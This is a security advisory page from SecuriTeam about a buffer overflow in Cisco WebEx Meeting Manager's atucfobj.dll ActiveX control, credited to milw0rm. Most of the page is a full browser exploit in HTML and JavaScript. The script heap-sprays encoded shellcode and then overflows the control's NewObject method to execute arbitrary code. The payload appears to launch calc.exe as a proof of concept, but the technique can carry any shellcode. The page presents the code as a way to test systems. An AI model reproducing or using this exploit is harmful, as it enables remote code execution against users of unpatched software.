SecuriTeam - Cisco WebEx Meeting Manager (atucfobj.dll) ActiveX (Exploit)

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

A vulnerability in Cisco's WebEx ActiveX allows remote attackers to cause it to overflow an internal buffer which in turn can be used to execute arbitrary code, the following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by Guido Landi.
The original article can be found at: http://www.milw0rm.com/exploits/6220

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Exploit:
<html>
<body>

<object classid=clsid:32E26FD9-F435-4A20-A561-35D4B987CFDC id=target />
</object>

<script language=javascript>

// k`sOSe 08/08/2008
// tested in IE6, XP SP1
var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178"+
"%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee"+
"%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b"+
"%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f"+
"%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6"+
"%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908"+
"%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e"+
"%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u535c%u5359"+
"%u4554%u334d%u5c32%u4143%u434c%u452e%u4558%u4100");

var block = unescape("%u0909%u0909");
while (block.length < 0x25000) block += block;

var memory = new Array();

var i=0;
for (;i<1000;i++) memory[i] += block + shellcode;

memory[i] += shellcode;

var buf2;
for (var i=0; i<151; i++) buf2 += "X";

buf2 += unescape("%09%09%09%09");

target.NewObject(buf2);

</script>

</body>
</html>

# milw0rm.com [2008-08-10]

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